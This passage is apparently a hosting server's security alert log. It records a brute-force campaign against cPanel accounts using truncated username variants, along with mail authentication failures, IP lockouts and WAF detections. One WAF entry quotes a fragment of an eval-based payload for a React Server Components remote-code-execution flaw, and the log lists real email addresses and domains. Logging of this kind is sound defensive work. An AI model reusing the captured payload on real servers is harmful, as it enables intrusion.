IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.167556296387824.php||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.44
country_id: 2635167
description:
[2026-06-15 23:16:25 +0000] info [cpaneld] 5.230.133.44 NEW wcnyaruu:yTcHcEwUPldfBbcK address=5.230.133.44,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.46
country_id: 2635167
description:
[2026-06-15 23:16:35 +0000] info [cpaneld] 5.230.153.46 NEW wcnyaruu:zZzVdwu0cAjdN1PU address=5.230.153.46,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.171.58
country_id: 2363686
description:
[2026-06-15 23:18:01 +0000] info [webmaild] 102.64.171.58 - e.senahounvo@davakconsulting.com "GET /cpsess7517953824/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [196.171.122.34] != Current IP Address [102.64.171.58]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.118.182.84
country_id: 3625428
description:
[2026-06-15 23:18:18 +0000] info [cpaneld] 92.118.182.84 - educplusmediatg "GET /login/?login_only=1&user=educplusmediatg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusmediatg (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.124.218.199
country_id: 3865483
description:
Jun 15 23:17:59 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.124.218.199 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.53.192.212
country_id: 3686110
description:
[2026-06-15 23:18:14 +0000] info [cpaneld] 181.53.192.212 - educplusmedia "GET /login/?login_only=1&user=educplusmedia&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusmedia (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.181.120.48
country_id: 3895114
description:
[2026-06-15 23:18:11 +0000] info [cpaneld] 45.181.120.48 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.29.106.39
country_id: 3686110
description:
[2026-06-15 23:18:16 +0000] info [cpaneld] 186.29.106.39 - educplusmedia "GET /login/?login_only=1&user=educplusmedia&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusmedia (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.205.223.249
country_id: 3469034
description:
Jun 15 23:18:19 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.205.223.249 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.205.223.249
country_id: 3469034
description:
Jun 15 23:18:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.205.223.249 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.125.161.20
country_id: 2017370
description:
[2026-06-15 23:18:31 +0000] info [cpaneld] 176.125.161.20 - educplus "GET /login/?login_only=1&user=educplus&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplus (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 138.122.234.250
country_id: 3469034
description:
[2026-06-15 23:18:46 +0000] info [cpaneld] 138.122.234.250 - educp "GET /login/?login_only=1&user=educp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.196.173.163
country_id: 2017370
description:
[2026-06-15 23:18:48 +0000] info [cpaneld] 109.196.173.163 - ed "GET /login/?login_only=1&user=ed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.114.105.199
country_id: 3996063
description:
[2026-06-15 23:18:48 +0000] info [cpaneld] 201.114.105.199 - educ "GET /login/?login_only=1&user=educ&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educ (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.111.127.85
country_id: 3865483
description:
[2026-06-15 23:18:24 +0000] info [cpaneld] 190.111.127.85 - educplusmed "GET /login/?login_only=1&user=educplusmed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusmed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.28.210.12
country_id: 3686110
description:
[2026-06-15 23:18:26 +0000] info [cpaneld] 216.28.210.12 - educplusme "GET /login/?login_only=1&user=educplusme&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusme (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 179.167.192.166
country_id: 3469034
description:
[2026-06-15 23:18:29 +0000] info [cpaneld] 179.167.192.166 - educplusm "GET /login/?login_only=1&user=educplusm&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusm (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.12.45.57
country_id: 3469034
description:
[2026-06-15 23:18:43 +0000] info [cpaneld] 189.12.45.57 - educpl "GET /login/?login_only=1&user=educpl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educpl (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 105.77.206.189
country_id: 2542007
description:
[2026-06-15 23:18:56 +0000] info [cpaneld] 105.77.206.189 - ed "GET /login/?login_only=1&user=ed&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ed (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.45.135.60
country_id: 3865483
description:
[2026-06-15 23:18:42 +0000] info [cpaneld] 181.45.135.60 - educ "GET /login/?login_only=1&user=educ&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educ (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.189.149.22
country_id: 3996063
description:
[2026-06-15 23:18:26 +0000] info [cpaneld] 45.189.149.22 - educplusme "GET /login/?login_only=1&user=educplusme&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user educplusme (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:23:21:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9529754&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781565682 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 212.15.63.140
country_id: 2017370
description:
[2026-06-15 23:23:20 +0000] info [cpaneld] 212.15.63.140 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.166.62.212
country_id: 3469034
description:
[2026-06-15 23:23:41 +0000] info [cpaneld] 45.166.62.212 - fundacionesperanza "GET /login/?login_only=1&user=fundacionesperanza&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanza (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 146.158.105.174
country_id: 2017370
description:
[2026-06-15 23:23:45 +0000] info [cpaneld] 146.158.105.174 - fundacionesperanz "GET /login/?login_only=1&user=fundacionesperanz&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanz (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.44.165.5
country_id: 1694008
description:
[2026-06-15 23:23:33 +0000] info [cpaneld] 143.44.165.5 - fundacionesperanzatog "GET /login/?login_only=1&user=fundacionesperanzatog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanzatog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.190.102.140
country_id: 1562822
description:
[2026-06-15 23:23:39 +0000] info [cpaneld] 14.190.102.140 - fundacionesperanzat "GET /login/?login_only=1&user=fundacionesperanzat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanzat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.242.75.76
country_id: 6252001
description:
[2026-06-15 23:24:15 +0000] info [cpaneld] 98.242.75.76 - fundacio "GET /login/?login_only=1&user=fundacio&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacio (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 152.202.237.222
country_id: 3686110
description:
[2026-06-15 23:23:24 +0000] info [cpaneld] 152.202.237.222 - fundacionesperanzatogo "GET /login/?login_only=1&user=fundacionesperanzatogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanzatogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.230.166.150
country_id: 2464461
description:
[2026-06-15 23:23:33 +0000] info [cpaneld] 41.230.166.150 - fundacionesperanzatog "GET /login/?login_only=1&user=fundacionesperanzatog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanzatog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 141.154.51.18
country_id: 6252001
description:
[2026-06-15 23:23:49 +0000] info [cpaneld] 141.154.51.18 - fundacionespera "GET /login/?login_only=1&user=fundacionespera&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionespera (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 37.214.61.125
country_id: 630336
description:
[2026-06-15 23:23:59 +0000] info [cpaneld] 37.214.61.125 - fundacionesp "GET /login/?login_only=1&user=fundacionesp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.104.249.1
country_id: 3469034
description:
[2026-06-15 23:24:04 +0000] info [cpaneld] 177.104.249.1 - fundacionesp "GET /login/?login_only=1&user=fundacionesp&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesp (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.71.233.185
country_id: 285570
description:
[2026-06-15 23:24:15 +0000] info [cpaneld] 188.71.233.185 - fundaci "GET /login/?login_only=1&user=fundaci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundaci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.31.241.249
country_id: 290557
description:
[2026-06-15 23:23:21 +0000] info [cpaneld] 5.31.241.249 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.172.110.42
country_id: 3865483
description:
[2026-06-15 23:23:31 +0000] info [cpaneld] 45.172.110.42 - fundacionesperanzatogotg "GET /login/?login_only=1&user=fundacionesperanzatogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanzatogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 109.197.76.6
country_id: 2017370
description:
[2026-06-15 23:23:35 +0000] info [cpaneld] 109.197.76.6 - fundacionesperanzato "GET /login/?login_only=1&user=fundacionesperanzato&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanzato (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 216.238.108.250
country_id: 3469034
description:
216.238.108.250 - - [15/Jun/2026:23:23:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9529754&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781565682 HTTP/2.0" 404 159 afrique-distribution.net "-" "Mozilla/5.0 (iPod; U; CPU iPhone OS 4_0 like Mac OS X; nr-ZA) AppleWebKit/531.48.5 (KHTML, like Gecko) Version/3.0.5 Mobile/8B115 Safari/6531.48.5" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.238.108.250


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.251.168.18
country_id: 3865483
description:
[2026-06-15 23:24:02 +0000] info [cpaneld] 201.251.168.18 - fundaciones "GET /login/?login_only=1&user=fundaciones&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundaciones (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.150.150.56
country_id: 3469034
description:
[2026-06-15 23:24:13 +0000] info [cpaneld] 201.150.150.56 - fundacion "GET /login/?login_only=1&user=fundacion&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacion (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.238.170.100
country_id: 3865483
description:
[2026-06-15 23:24:21 +0000] info [cpaneld] 160.238.170.100 - fundaci "GET /login/?login_only=1&user=fundaci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundaci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.183.202.38
country_id: 3865483
description:
[2026-06-15 23:23:27 +0000] info [cpaneld] 190.183.202.38 - fundacionesperanzatogo "GET /login/?login_only=1&user=fundacionesperanzatogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanzatogo (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.68.183.49
country_id: 3996063
description:
[2026-06-15 23:23:38 +0000] info [cpaneld] 200.68.183.49 - fundacionesperanzat "GET /login/?login_only=1&user=fundacionesperanzat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesperanzat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.161.68.66
country_id: 1210997
description:
[2026-06-15 23:23:52 +0000] info [cpaneld] 103.161.68.66 - fundacionespera "GET /login/?login_only=1&user=fundacionespera&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionespera (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.140.1.240
country_id: 3996063
description:
[2026-06-15 23:23:56 +0000] info [cpaneld] 189.140.1.240 - fundacionesper "GET /login/?login_only=1&user=fundacionesper&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundacionesper (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.222.112.217
country_id: 2017370
description:
[2026-06-15 23:24:17 +0000] info [cpaneld] 77.222.112.217 - fundac "GET /login/?login_only=1&user=fundac&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fundac (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 46.0.164.135
country_id: 2017370
description:
[2026-06-15 23:24:29 +0000] info [cpaneld] 46.0.164.135 - fun "GET /login/?login_only=1&user=fun&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fun (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 115.135.29.214
country_id: 1733045
description:
[2026-06-15 23:24:32 +0000] info [cpaneld] 115.135.29.214 - fu "GET /login/?login_only=1&user=fu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.57.207.126
country_id: 3686110
description:
[2026-06-15 23:24:34 +0000] info [cpaneld] 176.57.207.126 - fun "GET /login/?login_only=1&user=fun&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fun (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 58.187.54.246
country_id: 1562822
description:
[2026-06-15 23:24:24 +0000] info [cpaneld] 58.187.54.246 - fund "GET /login/?login_only=1&user=fund&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fund (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.249.233.85
country_id: 2542007
description:
[2026-06-15 23:24:31 +0000] info [cpaneld] 41.249.233.85 - fund "GET /login/?login_only=1&user=fund&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user fund (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 216.238.108.250
country_id: 3469034
description:
216.238.108.250 - - [15/Jun/2026:23:27:45 +0000] "GET /favicon.ico HTTP/2.0" 415 185 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9529754&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781565682" "Mozilla/5.0 (iPod; U; CPU iPhone OS 4_0 like Mac OS X; nr-ZA) AppleWebKit/531.48.5 (KHTML, like Gecko) Version/3.0.5 Mobile/8B115 Safari/6531.48.5" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.238.108.250


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 89.237.196.235
country_id: 1527747
description:
2026-06-15 23:27:58 H=([89.237.196.235]) [89.237.196.235]:25865 F=<John@4452.com> rejected RCPT <home@white-ways.com>: Sender verify failed


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 216.238.108.250
country_id: 3469034
description:
216.238.108.250 - - [15/Jun/2026:23:27:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9529754&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781565682 HTTP/2.0" 404 159 afrique-distribution.net "-" "Mozilla/5.0 (iPod; U; CPU iPhone OS 4_0 like Mac OS X; nr-ZA) AppleWebKit/531.48.5 (KHTML, like Gecko) Version/3.0.5 Mobile/8B115 Safari/6531.48.5" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:216.238.108.250


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: www.account.cloud-et-racks.tg
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"_response\":{\"_prefix\":\"var jr=arguments[0x1];var ht=jr;try{var _v=((0,eval)(global[\\\"\\\\u0042\\\\u0075\\\\u0066\\\\u0066\\\\u0065\\\\u0072\\\


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.254.68
country_id: 3469034
description:
Jun 15 23:28:19 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.254.68 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.91.203.163
country_id: 3175395
description:
[2026-06-15 23:31:07 +0000] info [cpaneld] 5.91.203.163 - lepopuliste "GET /login/?login_only=1&user=lepopuliste&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopuliste (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.114.41.39
country_id: 3895114
description:
[2026-06-15 23:30:48 +0000] info [cpaneld] 190.114.41.39 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.156.180.137
country_id: 660013
description:
2026-06-15 23:30:50 dovecot_plain authenticator failed for H=(8s88mvpzrgribvdsnoe4) [94.156.180.137]:45884: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.238.222.207
country_id: 3865483
description:
[2026-06-15 23:31:14 +0000] info [cpaneld] 45.238.222.207 - lepopulis "GET /login/?login_only=1&user=lepopulis&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopulis (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.226.139.42
country_id: 3686110
description:
[2026-06-15 23:31:17 +0000] info [cpaneld] 38.226.139.42 - lepopuli "GET /login/?login_only=1&user=lepopuli&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopuli (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.156.180.137
country_id: 660013
description:
Jun 15 23:30:48 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.156.180.137 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 15 23:30:50 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-15 23:30:52 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:23109: 535 Incorrect authentication data (set_id=yourhost)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.115.158.1
country_id: 1210997
description:
[2026-06-15 23:30:55 +0000] info [cpaneld] 103.115.158.1 - lepopulistetogotg "GET /login/?login_only=1&user=lepopulistetogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopulistetogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.78.12.149
country_id: 3686110
description:
[2026-06-15 23:31:01 +0000] info [cpaneld] 181.78.12.149 - lepopulisteto "GET /login/?login_only=1&user=lepopulisteto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopulisteto (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.43.162
country_id: 337996
description:
2026-06-15 23:31:53 dovecot_login authenticator failed for H=(ip-213-124-221-2.ip.prioritytelecom.net) [196.190.43.162]:59802: 535 Incorrect authentication data (set_id=j_essoh@centif.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 202.111.183.254
country_id: 1814991
description:
Jun 15 23:31:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 202.111.183.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.111.183.254
country_id: 1814991
description:
2026-06-15 23:31:33 dovecot_login authenticator failed for H=([49.124.159.194]) [202.111.183.254]:33250: 535 Incorrect authentication data (set_id=ayi@ekeasarl.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.158.26.95
country_id: 3865483
description:
[2026-06-15 23:31:33 +0000] info [cpaneld] 186.158.26.95 - lep "GET /login/?login_only=1&user=lep&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lep (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.22
country_id: 1149361
description:
2026-06-15 23:32:02 dovecot_login authenticator failed for H=(static-154-209-252-178.pol.net.in) [149.54.62.22]:42700: 535 Incorrect authentication data (set_id=webmaster@anrtogo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.190.43.162
country_id: 337996
description:
Jun 15 23:31:51 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.190.43.162 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.210.176.135
country_id: 953987
domain: kalemegdan-disk.de
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kalemegdan-disk.de/index.php/sword/index.php?SID=617h63nksuu69ib5uvhmnlrq12&action=delete&id=27613518&language=german         &page=warenkorb HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.244.177
country_id: 1733045
description:
[2026-06-15 23:31:21 +0000] info [cpaneld] 180.75.244.177 - lepopul "GET /login/?login_only=1&user=lepopul&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopul (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.205.69.25
country_id: 1210997
description:
[2026-06-15 23:31:24 +0000] info [cpaneld] 103.205.69.25 - lepopu "GET /login/?login_only=1&user=lepopu&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lepopu (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 143.137.96.63
country_id: 3686110
description:
[2026-06-15 23:31:36 +0000] info [cpaneld] 143.137.96.63 - le "GET /login/?login_only=1&user=le&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user le (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.54.62.22
country_id: 1149361
description:
Jun 15 23:32:00 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.54.62.22 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.219.27.81
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/sante/ HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 3.107.205.213
country_id: 2077456
description:
2026-06-15 23:33:39 dovecot_login authenticator failed for H=ec2-3-107-205-213.ap-southeast-2.compute.amazonaws.com (inger.tg) [3.107.205.213]:6994: 535 Incorrect authentication data (set_id=sessou.e@inger.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.87.33.35
country_id: 3686110
description:
